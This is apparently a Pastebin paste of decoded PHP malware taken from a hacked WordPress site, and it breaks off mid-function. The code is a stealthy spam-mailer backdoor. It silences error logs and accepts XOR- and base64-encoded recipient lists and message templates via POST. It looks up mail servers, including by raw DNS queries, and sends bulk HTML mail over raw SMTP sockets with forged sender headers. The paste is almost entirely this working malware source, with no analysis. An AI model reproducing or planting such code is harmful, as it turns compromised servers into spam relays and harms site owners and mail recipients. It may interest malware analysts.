API tools faq
paste
Advertisement
Guest User

Wordpress hack decoded

a guest
Aug 31st, 2015
966
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 22.18 KB | None | 0 0
raw download clone embed print report diff
  1. <?php
  2.     @error_reporting(NULL);
  3.     @ini_set(error_log,NULL);
  4.     @ini_set(log_errors,0);
  5.     define(DNS_TYPE_MX, 0x000F);
  6.     define(DNS_TYPE_A , 0x0001);
  7.     define(DNS_TYPE_NS, 0x0002);
  8.     define(DNS_STEP_QESTION , 1);
  9.     define(DNS_STEP_ANSWER , 2);
  10.     define(DNS_STEP_AUTHORITY , 3);
  11.     define(DNS_STEP_ADDITIONAL, 4);
  12.     define(SOCKET_TYPE_SOCKET , 1);
  13.     define(SOCKET_TYPE_FSOCKET, 2);
  14.     define(SOCKET_TYPE_STREAM , 4);
  15.     define(SOCKET_TYPE_NO , 5);
  16.     define(SOCKET_PROTO_TCP , 1);
  17.     define(SOCKET_PROTO_UDP , 2);
  18.     define(STEP_CONNECT , 0);
  19.     define(STEP_CONNECTED , 1);
  20.     define(STEP_EHLO , 2);
  21.     define(STEP_MAILFROM , 3);
  22.     define(STEP_RCPTTO , 4);
  23.     define(STEP_DATA , 5);
  24.     define(STEP_BODY , 6);
  25.     define(STEP_QUIT , 7);
  26.     define(STEP_COMPLETED , 8);
  27.     djsxl28($k43, NULL);
  28.     $doloa30 = array(toList => "", fromLogin => "", fromName => "", subjTempl => "", bodyTempl => "", hostFrom => "");
  29.     if (FALSE == lfibl42($k43, $doloa30)) { echo PHP_OS.+md5(0987654321).+01+[[]]
  30. ;
  31.     exit;
  32.     } $psklc80 = array();
  33.     for ($oqotg69 = 0;
  34.     $oqotg69 < count($doloa30[toList]);
  35.     $oqotg69++) { $qogbe27 = array( id => $oqotg69, g_mailto => "", g_mailto+ => "", g_mailfrom => "", g_mailfrom+ => "", g_domainto => "", g_domainfrom => "", g_namefirst => "", g_namelast => "", g_body => "", g_subject => "", g_fff => FALSE, g_header => "", g_headerfrom => "", s_header => "", s_mxhost => "", s_mxaddr => FALSE, s_sock => FALSE, s_time => time(), s_step => constant(STEP_CONNECT), s_port => 25, s_datain => "", s_dataout => "", s_trig => FALSE, l_err => "", l_done => FALSE, l_way => 0, l_failsmtp => FALSE, l_smtp_end => FALSE, );
  36.     if (FALSE == xtzzk68($k43, $doloa30[toList][$oqotg69], $doloa30, $qogbe27)) { echo PHP_OS.+md5(1111111111).+02+[[yckyp71($k43, $doloa30[toList][$oqotg69]).]]
  37. ;
  38.     continue;
  39.     } $psklc80[] = $qogbe27;
  40.     } yswsl52($k43, $psklc80);
  41.     itiyt46($k43, $psklc80);
  42.     ztabp45($k43, $psklc80);
  43.     exit;
  44.     function ztabp45($k43, $psklc80) { $hodrc48 = 0;
  45.     $idxqd34 = "";
  46.     for ($oqotg69 = 0;
  47.     $oqotg69 < count($psklc80);
  48.     $oqotg69++) { if ($psklc80[$oqotg69][l_failsmtp] == TRUE) { echo PHP_OS.+md5(2222222222).+04+[[yckyp71($k43, $psklc80[$oqotg69][g_mailto]. :: $psklc80[$oqotg69][l_err]).]]
  49. ;
  50.     } if ($psklc80[$oqotg69][l_done] == TRUE) { $idxqd34.= $psklc80[$oqotg69][l_way];
  51.     $hodrc48++;
  52.     } } if ($hodrc48 == 0) { echo PHP_OS.+md5(0987654321).+04+[[]]
  53. ;
  54.     } else { echo OK+md5(1234567890).+$hodrc48.+count($psklc80).[$idxqd34.]
  55. ;
  56.     } } function itiyt46($k43, &$psklc80) { if (!function_exists(mail)) { return FALSE;
  57.     } for ($oqotg69 = 0;
  58.     $oqotg69 < count($psklc80);
  59.     $oqotg69++) { if ($psklc80[$oqotg69][l_done] == TRUE) { continue;
  60.     } if ($psklc80[$oqotg69][g_fff]) { if (@mail($psklc80[$oqotg69][g_mailto+], $psklc80[$oqotg69][g_subject], $psklc80[$oqotg69][g_body], $psklc80[$oqotg69][g_headerfrom].$psklc80[$oqotg69][g_header], -f$psklc80[$oqotg69][g_mailfrom])) { $psklc80[$oqotg69][l_done] = TRUE;
  61.     $psklc80[$oqotg69][l_way] = 2;
  62.     } else { $psklc80[$oqotg69][l_done] = FALSE;
  63.     } } else { if (@mail($psklc80[$oqotg69][g_mailto+], $psklc80[$oqotg69][g_subject], $psklc80[$oqotg69][g_body], $psklc80[$oqotg69][g_header])) { $psklc80[$oqotg69][l_done] = TRUE;
  64.     $psklc80[$oqotg69][l_way] = 2;
  65.     } else { $psklc80[$oqotg69][l_done] = FALSE;
  66.     } } } } function yswsl52($k43, &$psklc80) { while (enyfv85($k43, $psklc80)) { umply69($k43, $psklc80);
  67.     usleep(25000);
  68.     } } function oomgl82($k43, &$psklc80, $hduev4, $voedq6, $nfeqj66) { if ($psklc80[$hduev4][s_sock] != FALSE) { ymkoa43($k43, $psklc80[$hduev4][s_sock]);
  69.     } $psklc80[$hduev4][l_err] = [$psklc80[$hduev4][s_step].]trim(preg_replace(/
  70. /,  , $voedq6));
  71.     $psklc80[$hduev4][l_failsmtp] = $nfeqj66;
  72.     $psklc80[$hduev4][l_smtp_end] = TRUE;
  73.     return;
  74.     } function umply69($k43, &$psklc80) { $hzpqh94 = time();
  75.     foreach($psklc80 as $hduev4=>$qogbe27) { if ($qogbe27[l_smtp_end] == TRUE) { continue;
  76.     } if ($qogbe27[s_time] + 20 < $hzpqh94) { if ($psklc80[$hduev4][s_step] == constant(STEP_CONNECT) && $psklc80[$hduev4][s_port] != 587) { ymkoa43($k43, $psklc80[$hduev4][s_sock]);
  77.     $psklc80[$hduev4][s_port] = 587;
  78.     $psklc80[$hduev4][s_time] = time();
  79.     continue;
  80.     } oomgl82($k43, $psklc80, $hduev4, timeout, FALSE);
  81.     continue;
  82.     } switch($psklc80[$hduev4][s_step]) { case constant(STEP_CONNECT): if ($psklc80[$hduev4][s_mxaddr] == FALSE) { $psklc80[$hduev4][s_mxaddr] = @gethostbyname($psklc80[$hduev4][s_mxhost]);
  83.     if (!@preg_match(/([0-9]{1,3}\.?){4}/, $psklc80[$hduev4][s_mxaddr])) { oomgl82($k43, $psklc80, $hduev4, resolve mx, FALSE);
  84.     break;
  85.     } } $qumgs10 = 0;
  86.     $brrya46 = '';
  87.     $psklc80[$hduev4][s_sock] = xtdes30($k43, $psklc80[$hduev4][s_sock], constant(SOCKET_PROTO_TCP), $psklc80[$hduev4][s_mxaddr], $psklc80[$hduev4][s_port], 2, $qumgs10, $brrya46, TRUE);
  88.     if ($psklc80[$hduev4][s_sock] == FALSE) { break;
  89.     } if ($qumgs10 == 0 || $qumgs10 === 56 || $qumgs10 === 10056 ) { $psklc80[$hduev4][s_step] = constant(STEP_CONNECTED);
  90.     backu92($k43, $psklc80[$hduev4][s_sock], 15);
  91.     $psklc80[$hduev4][s_time] = time();
  92.     } break;
  93.     case constant(STEP_CONNECTED): if (tlaij97($k43, $psklc80, $hduev4)) { $psklc80[$hduev4][s_datain] = "";
  94.     $psklc80[$hduev4][s_dataout] = EHLO $psklc80[$hduev4][g_domainfrom].
  95. ;
  96.     $psklc80[$hduev4][s_step] = constant(STEP_EHLO);
  97.     $psklc80[$hduev4][s_time] = time();
  98.     } break;
  99.     case constant(STEP_EHLO): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
  100.     break;
  101.     } $psklc80[$hduev4][s_datain] = "";
  102.     $psklc80[$hduev4][s_dataout] = MAIL FROM:<$psklc80[$hduev4][g_mailfrom].>
  103. ;
  104.     $psklc80[$hduev4][s_step] = constant(STEP_MAILFROM);
  105.     $psklc80[$hduev4][s_time] = time();
  106.     } break;
  107.     } break;
  108.     case constant(STEP_MAILFROM): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
  109.     break;
  110.     } $psklc80[$hduev4][s_datain] = "";
  111.     $psklc80[$hduev4][s_dataout] = RCPT TO:<$psklc80[$hduev4][g_mailto].>
  112. ;
  113.     $psklc80[$hduev4][s_step] = constant(STEP_RCPTTO);
  114.     $psklc80[$hduev4][s_time] = time();
  115.     } break;
  116.     } break;
  117.     case constant(STEP_RCPTTO): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250 && substr($psklc80[$hduev4][s_datain], 0, 3) != 251) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
  118.     break;
  119.     } $psklc80[$hduev4][s_datain] = "";
  120.     $psklc80[$hduev4][s_dataout] = DATA
  121. ;
  122.     $psklc80[$hduev4][s_step] = constant(STEP_DATA);
  123.     $psklc80[$hduev4][s_time] = time();
  124.     } break;
  125.     } break;
  126.     case constant(STEP_DATA): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 354) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
  127.     break;
  128.     } $psklc80[$hduev4][s_datain] = "";
  129.     $psklc80[$hduev4][s_dataout] = $psklc80[$hduev4][s_header].
  130. $psklc80[$hduev4][g_body].
  131. .
  132. ;
  133.     $psklc80[$hduev4][s_step] = constant(STEP_BODY);
  134.     $psklc80[$hduev4][s_time] = time();
  135.     } break;
  136.     } break;
  137.     case constant(STEP_BODY): if (czvll25($k43, $psklc80, $hduev4)) { if (tlaij97($k43, $psklc80, $hduev4)) { if (substr($psklc80[$hduev4][s_datain], 0, 3) != 250) { oomgl82($k43, $psklc80, $hduev4, $psklc80[$hduev4][s_datain], TRUE);
  138.     break;
  139.     } $psklc80[$hduev4][s_datain] = "";
  140.     $psklc80[$hduev4][s_dataout] = QUIT
  141. ;
  142.     $psklc80[$hduev4][s_step] = constant(STEP_QUIT);
  143.     $psklc80[$hduev4][s_time] = time();
  144.     $psklc80[$hduev4][l_done] = TRUE;
  145.     $psklc80[$hduev4][l_way] = 1;
  146.     } break;
  147.     } break;
  148.     case constant(STEP_QUIT): if (czvll25($k43, $psklc80, $hduev4)) { oomgl82($k43, $psklc80, $hduev4, "", FALSE);
  149.     } break;
  150.     } } } function tlaij97($k43, &$psklc80, $hduev4) { $qumgs10 = 0;
  151.     $brrya46 = "";
  152.     if ($psklc80[$hduev4][s_trig] == FALSE) { if (strlen($psklc80[$hduev4][s_datain]) != 0) { return TRUE;
  153.     } return FALSE;
  154.     } $hyhjy72 = snnkj53($k43, $psklc80[$hduev4][s_sock], 4086, $qumgs10, $brrya46);
  155.     if ($hyhjy72 == FALSE || $hyhjy72 == "") { if ($qumgs10 != 35 && $qumgs10 != 10035 && $qumgs10!= 11 && $qumgs10!= 10060) { oomgl82($k43, $psklc80, $hduev4, $brrya46, FALSE);
  156.     return FALSE;
  157.     } if (strlen($psklc80[$hduev4][s_datain]) != 0) { return TRUE;
  158.     } return FALSE;
  159.     } $psklc80[$hduev4][s_datain] = $hyhjy72;
  160.     return FALSE;
  161.     } function czvll25($k43, &$psklc80, $hduev4) { $qumgs10 = 0;
  162.     $brrya46 = "";
  163.     if (strlen($psklc80[$hduev4][s_dataout]) == 0) { return TRUE;
  164.     } $hyhjy72 = hmkal19($k43, $psklc80[$hduev4][s_sock], $psklc80[$hduev4][s_dataout], $qumgs10, $brrya46);
  165.     if ($hyhjy72 == FALSE) { if ($qumgs10 != 35 && $qumgs10 != 10035 && $qumgs10 != 11 && $qumgs10 != 10060) { oomgl82($k43, $psklc80, $hduev4, $brrya46, FALSE);
  166.     } return FALSE;
  167.     } $psklc80[$hduev4][s_dataout] = substr($psklc80[$hduev4][s_dataout], $hyhjy72);
  168.     if (strlen($psklc80[$hduev4][s_dataout]) == 0) { return TRUE;
  169.     } return FALSE;
  170.     } function enyfv85($k43, &$psklc80) { $tybst41 = FALSE;
  171.     if (constant(SOCKET_TYPE) != constant(SOCKET_TYPE_SOCKET)) { foreach(array_keys($psklc80) as $hduev4) { if ($psklc80[$hduev4][l_smtp_end] != TRUE) { $psklc80[$hduev4][s_trig] = TRUE;
  172.     $tybst41 = TRUE;
  173.     } } return $tybst41;
  174.     } $ngtqz0 = array();
  175.     foreach(array_keys($psklc80) as $hduev4) { if ($psklc80[$hduev4][l_smtp_end] != TRUE) { if ($psklc80[$hduev4][s_sock] == 0 || $psklc80[$hduev4][s_step] == constant(STEP_CONNECT)) { $psklc80[$hduev4][s_trig] = TRUE;
  176.     } else { $psklc80[$hduev4][s_trig] = FALSE;
  177.     $ngtqz0[]=$psklc80[$hduev4][s_sock];
  178.     } $tybst41 = TRUE;
  179.     } } if (count($ngtqz0) == 0) { return $tybst41;
  180.     } $wnqhw0 = @socket_select($ngtqz0, $pqwvt36 = NULL, $mtvue60 = NULL, 0);
  181.     if ($wnqhw0 == FALSE || $wnqhw0 == 0) { return $tybst41;
  182.     } foreach(array_keys($psklc80) as $hduev4) { $psklc80[$hduev4][s_trig] = FALSE;
  183.     foreach($ngtqz0 as $jlpom73) { if ($psklc80[$hduev4][s_sock] == $jlpom73) { $psklc80[$hduev4][s_trig] = TRUE;
  184.     break;
  185.     } } } return $tybst41;
  186.     } function djsxl28($k43, $qszpx24) { if (function_exists(socket_create) && function_exists(socket_connect) && function_exists(socket_read) && function_exists(socket_write)) { define(SOCKET_TYPE, constant(SOCKET_TYPE_SOCKET));
  187.     return TRUE;
  188.     } if (function_exists(fsockopen)) { define(SOCKET_TYPE, constant(SOCKET_TYPE_FSOCKET));
  189.     return TRUE;
  190.     } if (function_exists(stream_socket_client)) { define(SOCKET_TYPE, constant(SOCKET_TYPE_STREAM));
  191.     return TRUE;
  192.     } define(SOCKET_TYPE, constant(SOCKET_TYPE_NO));
  193.     return FALSE;
  194.     } function xtzzk68($k43, $lrfaa93, $doloa30, &$qogbe27) { $pvrxc23 = array();
  195.     if (FALSE === @preg_match(/(.*?;)?(.*?;)?(.+@(.+)?);?/, $lrfaa93, $pvrxc23) ) { return FALSE;
  196.     } if (!isset($pvrxc23) || count($pvrxc23) != 5) { return FALSE;
  197.     } $qogbe27[g_namefirst] = @ucfirst(str_replace(;,"",$pvrxc23[1]));
  198.     $qogbe27[g_namelast] = @ucfirst(str_replace(;,"",$pvrxc23[2]));
  199.     $qogbe27[g_mailto] = str_replace(;,"",$pvrxc23[3]);
  200.     $qogbe27[g_domainto] = str_replace(;,"",$pvrxc23[4]);
  201.     if (!isset($qogbe27[g_mailto]) || $qogbe27[g_mailto] == "") { return FALSE;
  202.     } if (!isset($qogbe27[g_domainto]) || $qogbe27[g_domainto] == "") { return FALSE;
  203.     } if (isset($qogbe27[g_namefirst]) && $qogbe27[g_namefirst] != "") { $qogbe27[g_mailto+] = "$qogbe27[g_namefirst]. $qogbe27[g_namelast]." <$qogbe27[g_mailto].>;
  204.     } else { $qogbe27[g_mailto+] = $qogbe27[g_mailto];
  205.     } $qogbe27[g_domainfrom] = $doloa30[hostFrom];
  206.     if (preg_match(/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/, $doloa30[hostFrom]) || @ini_get(safe_mode)) { $qogbe27[g_fff] = FALSE;
  207.     } else { $qogbe27[g_fff] = TRUE;
  208.     } $qogbe27[g_mailfrom] = $doloa30[fromLogin].@$doloa30[hostFrom];
  209.     if (isset($doloa30[fromName]) && $doloa30[fromName] != "") { $qogbe27[g_mailfrom+] = $doloa30[fromName]. <$qogbe27[g_mailfrom].>;
  210.     } else { $qogbe27[g_mailfrom+] = $qogbe27[g_mailfrom];
  211.     } $qogbe27[s_mxhost] = zadjp9($k43, $qogbe27[g_domainto]);
  212.     $qogbe27[g_subject] = @str_replace(%R_NAME%, $qogbe27[g_namefirst], $doloa30[subjTempl]);
  213.     $qogbe27[g_subject] = @str_replace(%R_LNAME%, $qogbe27[g_namelast], $qogbe27[g_subject]);
  214.     $qogbe27[g_body] = @str_replace(%R_NAME%, $qogbe27[g_namefirst], $doloa30[bodyTempl]);
  215.     $qogbe27[g_body] = @str_replace(%R_LNAME%, $qogbe27[g_namelast], $qogbe27[g_body]);
  216.     $qogbe27[g_body] = @str_replace(%MAIL_EN%, yckyp71($k43, $qogbe27[g_mailto]), $qogbe27[g_body]);
  217.     $qogbe27[g_header] = X-Priority: 3 (Normal)
  218. ;
  219.     $qogbe27[g_header] .= MIME-Version: 1.0
  220. ;
  221.     $qogbe27[g_header] .= Content-Type: text/html; charset="iso-8859-1"
  222. ;
  223.     $qogbe27[g_header] .= Content-Transfer-Encoding: 8bit
  224. ;
  225.     $qogbe27[g_headerfrom] = From: $qogbe27[g_mailfrom+].
  226. ;
  227.     $qogbe27[g_headerfrom] .= Reply-To:$qogbe27[g_mailfrom+].
  228. ;
  229.     $qogbe27[s_header] = Date:  . @date(D, j M Y G:i:s O).
  230. ;
  231.     $qogbe27[s_header] .= $qogbe27[g_headerfrom];
  232.     $qogbe27[s_header] .= Message-ID:
  233. ;
  234.     $qogbe27[s_header] .= To: $qogbe27[g_mailto+].
  235. ;
  236.     $qogbe27[s_header] .= Subject: $qogbe27[g_subject].
  237. ;
  238.     $qogbe27[s_header] .= $qogbe27[g_header];
  239.     return TRUE;
  240.     } function zadjp9($k43, $ncmsb34) { $vhlhu65 = array();
  241.     $iyblu89 = array();
  242.     if (function_exists(getmxrr)) { @getmxrr($ncmsb34, $vhlhu65, $iyblu89);
  243.     } else { if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_NO)) { return FALSE;
  244.     } $wnqhw0 = hstaj32($k43, $ncmsb34, constant(DNS_TYPE_MX));
  245.     if ($wnqhw0 == FALSE || !isset($wnqhw0[ans])) { return FALSE;
  246.     } foreach ($wnqhw0[ans] as $nfveq2) { if ($nfveq2[type] == constant(DNS_TYPE_MX)) { $vhlhu65[] = $nfveq2[data];
  247.     $iyblu89[] = $nfveq2[preference];
  248.     } } } if (count($vhlhu65) == 0) { return FALSE;
  249.     } $qxojp41 = array_keys($iyblu89, min($iyblu89));
  250.     return $vhlhu65[$qxojp41[0]];
  251.     } function lfibl42($k43, &$doloa30) { if (count(${_POST}) < 2) { return FALSE;
  252.     } $fcyfv0 = false;
  253.     $sxkwl85 = $jwddp95 = "";
  254.     foreach (array_keys(${_POST}) as $pgqap78) { if ($pgqap78[0] == l) { $sxkwl85 = $pgqap78;
  255.     } if ($pgqap78[0] == d) { $jwddp95 = $pgqap78;
  256.     } if ($pgqap78[0] == e) { $fcyfv0 = true;
  257.     } } if ($sxkwl85 == "" || $jwddp95 == "") { return FALSE;
  258.     } $huemp14 = ktdll68($k43, $sxkwl85, $fcyfv0 );
  259.     $ztwvg68= ktdll68($k43, $jwddp95, $fcyfv0);
  260.     if ($huemp14 == FALSE || $ztwvg68 == FALSE) { return FALSE;
  261.     } $doloa30[toList] = @preg_split(/#/, $huemp14);
  262.     $doloa30[fromLogin] = $doloa30[fromName] = $doloa30[subjTempl] = $doloa30[bodyTempl] = "";
  263.     $pvrxc23 = array();
  264.     if (FALSE !== @preg_match(/(.*?)<\/USER>/ism, $ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[fromLogin] = $pvrxc23[1];
  265.     } if (FALSE !== @preg_match(/(.*?)<\/NAME>/ism, $ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[fromName] = $pvrxc23[1];
  266.     } if (FALSE !== @preg_match(/(.*?)<\/SUBJ>/ism, $ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[subjTempl] = $pvrxc23[1];
  267.     } if (FALSE !== @preg_match(/(.*?)<\/SBODY>/ism,$ztwvg68, $pvrxc23) && isset($pvrxc23) && count($pvrxc23) > 1) { $doloa30[bodyTempl] = $pvrxc23[1];
  268.     } $doloa30[hostFrom] = @preg_replace(/^(www|ftp)\./i, '', $_SERVER[HTTP_HOST]);
  269.     return TRUE;
  270.     } function ktdll68($k43, $pgqap78, $fcyfv0) { if (!isset($pgqap78) || $pgqap78 == "") { return FALSE;
  271.     } $pzisb60 = @${_POST}[$pgqap78];
  272.     if ($fcyfv0) { $pzisb60 = kciyz70($k43, $pzisb60);
  273.     for($qxojp41 = 0;
  274.     $qxojp41 < strlen($pzisb60);
  275.     $qxojp41++) { $pzisb60[$qxojp41]= chr(ord($pzisb60[$qxojp41]) ^ 2);
  276.     } } return urldecode(stripslashes($pzisb60));
  277.     } function kciyz70($k43, $jenku79) { $tybst41="";
  278.     for($oqotg69=0;$oqotg69<256;$oqotg69++){$vvjpm89[$oqotg69]=chr($oqotg69);} $ektdf48=array_flip(preg_split(//,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,-1,1));
  279.     $wcrzn74 = array();
  280.     preg_match_all(([A-z0-9+\/]{1,4}),$jenku79,$wcrzn74);
  281.     foreach($wcrzn74[0] as $sigea17){ $fsjgk86=0;
  282.     for($oqotg69=0;isset($sigea17[$oqotg69]);$oqotg69++){ $fsjgk86=($fsjgk86<<6)+$ektdf48[$sigea17[$oqotg69]];
  283.     if($oqotg69>0){ $tybst41.=$vvjpm89[$fsjgk86>>(4-(2*($oqotg69-1)))];$fsjgk86=$fsjgk86&(0xf>>(2*($oqotg69-1)));
  284.     } } } return $tybst41;
  285.     } function yckyp71($k43, $tvgou23) { for($qxojp41 = 0;
  286.     $qxojp41 < strlen($tvgou23);
  287.     $qxojp41++) { $tvgou23[$qxojp41] = chr(ord($tvgou23[$qxojp41]) ^ 2);} return base64_encode($tvgou23);
  288.     } function xtdes30($k43, $mpyps13, $vnvri13, $zypox8, $fgixe47, $xhwfc24, &$qumgs10, &$brrya46, $efyhj24 = false) { $rzbnu33 = "";
  289.     $ybsgg91 = NULL;
  290.     $nfxxs93 = NULL;
  291.     $qumgs10 = 0;
  292.     $brrya46 = "";
  293.     if ($vnvri13 == constant(SOCKET_PROTO_TCP)) { $rzbnu33 = tcp;
  294.     $ybsgg91 = SOL_TCP;
  295.     $nfxxs93 = SOCK_STREAM;
  296.     } else if ($vnvri13 == constant(SOCKET_PROTO_UDP)) { $rzbnu33 = udp;
  297.     $nfxxs93 = SOCK_DGRAM;
  298.     $ybsgg91 = SOL_UDP;
  299.     } else { $brrya46 = Error: invalid protocol;
  300.     return FALSE;
  301.     } switch(constant(SOCKET_TYPE)) { case constant(SOCKET_TYPE_SOCKET): if ($mpyps13 == FALSE) { $mpyps13 = @socket_create(AF_INET, $nfxxs93, $ybsgg91);
  302.     if ($mpyps13 == FALSE) { $qumgs10 = socket_last_error();
  303.     $brrya46 = socket_strerror($qumgs10);
  304.     break;
  305.     } socket_set_option($mpyps13 , SOL_SOCKET, SO_REUSEADDR, 1);
  306.     socket_set_option($mpyps13 , SOL_SOCKET, SO_RCVTIMEO, array(sec => $xhwfc24, usec => 0));
  307.     socket_set_option($mpyps13 , SOL_SOCKET, SO_SNDTIMEO, array(sec => $xhwfc24, usec => 0));
  308.     if ($efyhj24) { socket_set_nonblock($mpyps13);
  309.     } } if (!@socket_connect($mpyps13, $zypox8, $fgixe47)) { $qumgs10 = socket_last_error($mpyps13);
  310.     $brrya46 = socket_strerror($qumgs10);
  311.     } if ($efyhj24) { socket_set_nonblock($mpyps13);
  312.     } break;
  313.     case constant(SOCKET_TYPE_FSOCKET): $mpyps13 = @fsockopen($rzbnu33.://$zypox8, $fgixe47, $qumgs10, $brrya46, $xhwfc24);
  314.     if ($mpyps13 && $efyhj24) { @stream_set_blocking($mpyps13, 0);
  315.     } @stream_set_timeout($mpyps13, $xhwfc24);
  316.     break;
  317.     case constant(SOCKET_TYPE_STREAM): $mpyps13 = @stream_socket_client($rzbnu33.://$zypox8.:$fgixe47, $qumgs10, $brrya46, $xhwfc24);
  318.     if ($mpyps13 && $efyhj24) { @stream_set_blocking($mpyps13, 0);
  319.     } @stream_set_timeout($mpyps13, $xhwfc24);
  320.     break;
  321.     default: $brrya46 = Error: invalid socket type;
  322.     return FALSE;
  323.     } return $mpyps13;
  324.     } function ymkoa43($k43, &$mpyps13) { if ($mpyps13 == FALSE) { return;
  325.     } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { @socket_close($mpyps13);
  326.     } else { @fclose($mpyps13);
  327.     } $mpyps13 = FALSE;
  328.     return;
  329.     } function snnkj53($k43, $mpyps13, $zrcfs8, &$qumgs10, &$brrya46) { if ($mpyps13 == FALSE) { return FALSE;
  330.     } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { $tybst41 = @socket_read($mpyps13, $zrcfs8, PHP_BINARY_READ);
  331.     if ($tybst41 == FALSE) { $qumgs10 = socket_last_error($mpyps13);
  332.     $brrya46 = socket_strerror($qumgs10);
  333.     } } else { if (@feof($mpyps13)) { return FALSE;
  334.     } $tybst41 = @fread($mpyps13, $zrcfs8);
  335.     if (strlen($tybst41) == 0) { $qumgs10 = 35;
  336.     } } return $tybst41;
  337.     } function hmkal19($k43, $mpyps13, $hyhjy72, &$qumgs10, &$brrya46) { if ($mpyps13 == FALSE) { return FALSE;
  338.     } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { $tybst41 = @socket_write($mpyps13, $hyhjy72);
  339.     if ($tybst41 == FALSE) { $qumgs10 = socket_last_error($mpyps13);
  340.     $brrya46 = socket_strerror($qumgs10);
  341.     } } else { if (@feof($mpyps13)) { return FALSE;
  342.     } $tybst41 = @fwrite($mpyps13, $hyhjy72);
  343.     } return $tybst41;
  344.     } function backu92($k43, $mpyps13, $xhwfc24) { if ($mpyps13 == FALSE) { return FALSE;
  345.     } if (constant(SOCKET_TYPE) == constant(SOCKET_TYPE_SOCKET)) { @socket_set_option($mpyps13 , SOL_SOCKET, SO_RCVTIMEO, array(sec => $xhwfc24, usec => 0));
  346.     @socket_set_option($mpyps13 , SOL_SOCKET, SO_SNDTIMEO, array(sec => $xhwfc24, usec => 0));
  347.     } else { @stream_set_timeout($mpyps13, $xhwfc24);
  348.     } return TRUE;
  349.     } function hstaj32($k43, $ncmsb34, $zpila93) { $qumgs10 = 0;
  350.     $brrya46 = "";
  351.     $mpyps13 = xtdes30($k43, FALSE, constant(SOCKET_PROTO_UDP), 8.8.8.8, 53, 10, $qumgs10, $brrya46);
  352.     if (!$mpyps13) { return FALSE;
  353.     } $akprv13 = rand(0x0001, 0xFFFE);
  354.     $ysyof52 = explode(., $ncmsb34);
  355.     $smuzd92 = pack(nnnnnn, $akprv13, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
  356.     foreach($ysyof52 as $gmzqj4) { $smuzd92 .= pack(Ca*, strlen($gmzqj4), $gmzqj4);
  357.     } $smuzd92.= pack(Cnn, 0x00, $zpila93, 0x0001);
  358.     $wnqhw0 = hmkal19($k43, $mpyps13, $smuzd92, $qumgs10, $brrya46);
  359.     if (!$wnqhw0 || $wnqhw0 != strlen($smuzd92)) { ymkoa43($k43, $mpyps13);
  360.     return FALSE;
  361.     } $ipakp58 = snnkj53($k43, $mpyps13, 4086, $qumgs10, $brrya46);
  362.     if ($ipakp58 == FALSE || strlen($ipakp58) < 12) { ymkoa43($k43, $mpyps13);
  363.     return FALSE;
  364.     } $neszi8 = unpack(ntid/nflags/nque/nans/nauth/nadd, substr($ipakp58, 0, 12));
  365.     $brham63 = 12;
  366.     $tybst41 = array(header => $neszi8);
  367.     for ($oqotg69 = constant(DNS_STEP_QESTION);
  368.     $oqotg69 <= constant(DNS_STEP_ADDITIONAL);
  369.     $oqotg69++) { $pxhga54 = '';
  370.     switch ($oqotg69) { case constant(DNS_STEP_QESTION): $pxhga54 = que;
  371.     break;
  372.     case constant(DNS_STEP_ANSWER): $pxhga54 = ans;
  373.     break;
  374.     case constant(DNS_STEP_AUTHORITY):$pxhga54 = auth;break;
  375.     case constant(DNS_STEP_ADDITIONAL):$pxhga54 = add;break;
  376.     } for ($knxem73 = 0;
  377.     $knxem73 < $neszi8[$pxhga54];
  378.     $knxem73++) { $pzyqd73[name] = gqsuo81($k43, $brham63, $ipakp58);
  379.     if ($oqotg69 == constant(DNS_STEP_QESTION)) { $pzyqd73 = array_merge($pzyqd73, unpack(ntype/nclass, substr($ipakp58, $brham63, 4)));
  380.     $brham63+=4;
  381.     } else { $pzyqd73 = array_merge($pzyqd73 , unpack(ntype/nclass/Nttl/ndatalength, substr($ipakp58, $brham63, 10)));
  382.     $brham63+=10;
  383.     switch ($pzyqd73[type]) { case constant(DNS_TYPE_MX): $pzyqd73 = array_merge($pzyqd73, unpack(npreference, substr($ipakp58, $brham63, 2)));
  384.     $brham63+=2;
  385.     $pzyqd73[data] = gqsuo81($k43, $brham63, $ipakp58);
  386.     break;
  387.     case constant(DNS_TYPE_A): $pzyqd73 = array_merge($pzyqd73, unpack(Ndata, substr($ipakp58, $brham63, 4)));
  388.     $brham63+=4;
  389.     $pzyqd73[ip] = long2ip($pzyqd73[data]);
  390.     break;
  391.     case constant(DNS_TYPE_NS): $pzyqd73[data] = gqsuo81($k43, $brham63, $ipakp58);
  392.     break;
  393.     default: $brham63 += $pzyqd73[datalength];
  394.     } } $tybst41[$pxhga54][] = $pzyqd73;
  395.     } } return $tybst41;
  396.     } function gqsuo81($k43, &$pwukv0, $ipakp58) { $tybst41 = "";
  397.     $bhbyj64 = $pwukv0;
